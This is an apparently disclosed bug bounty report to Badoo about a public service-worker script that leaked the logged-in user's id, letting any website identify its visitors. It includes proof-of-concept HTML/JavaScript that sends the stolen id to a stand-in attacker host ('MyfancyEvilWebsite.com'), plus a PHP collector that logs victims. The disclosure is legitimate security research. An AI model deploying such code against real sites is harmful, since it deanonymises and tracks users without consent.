Ability to collect users' ids that have visited a specific web page with malicious code

Disclosed: 2016-06-03 12:53:34 By saeedhashem To bumble
Unknown
Vulnerability Details
Hey , Regarding this report #130453 , I'm pretty sure that there's a little misunderstanding of the issue , so please let me clarify the issue a bit more . The issue is not about the disclosure of user's id , that wouldn't be considered an issue at all because every website puts user's id in the user's profile usually , The issue here is the disclosure of badoo user who visited the webpage which contained the exploit code , that allows any site owner or advertisement campaign designer to exploit this issue maliciously by escalating a public and general ads campaign to a targeted ads campaign after collecting the users who were interested in the general campaign . Let's clarify a bit further by some details and exploit scenario . ###What made the vulnerability appear ? 1. This script `https://badoo.com/worker-scope/chrome-service-worker.js?ws=1` being contained information dependent on the currently logged in user . 2. This information can identify the currently logged in user. 3. The same script being public , and can be called and fetched by any rogue script on any website . ###What makes it an issue ? It's considered as a privacy violation . If I visited some website , the website owner is not supposed to figure out my identity , but this issue allow him to do so . Additionally the issue allows any one to figure out weather I'm logged in or logged out , and by which account . ###How can any one exploit the issue maliciously ? Let's consider the following as an exploit scenario . I'm a commercial website owner who found out about this issue and decided to take advantage to my new product advertisement campaign . So , I designed a plan as following : 1. Start a public and general campaign by setting up the new product page in my website and distributing the link to the page every where , including badoo . 2. The new product page should contain the Exploit code written below . ``` <html> <script src=https://badoo.com/worker-scope/chrome-service-worker.js?ws=1></script> </head> <body> <script> function UnmaskUser(str) { return str.split('=')[0]; } window.onload = function(){ var user = UnmaskUser(user_id); var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://MyfancyEvilWebsite.com/identity-stealer.php?victim=' user , true); xhr.send(); }; </script> </html> ``` And the `identity-stealer.php` should have the code : ``` <?php $user = $_GET['victim']; $fd = fopen("badoo-users-interested-in-my-product.txt","a"); fwrite($fd, $user); fclose($fd); ?> ``` 3. The people who may be interested in my new product will start to visit my new product page . 4. After a period of time I will be having a txt file `badoo-users-interested-in-my-product.txt` on my server with a list of ids of all badoo users who have visited my new product page while they are logged into badoo . 5. Now I can start a more specific and targeted advertisement campaign by contacting those badoo users directly by private messages or emails . ##Note : This should be clarified the matter , so if you still think this issue isn't considered a security issue or privacy violation you can close the report as informative . Best regards , Thanks , Saeed H.
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Report Stats
  • Report ID: 139192
  • State: Closed
  • Substate: resolved
  • Upvotes: 6
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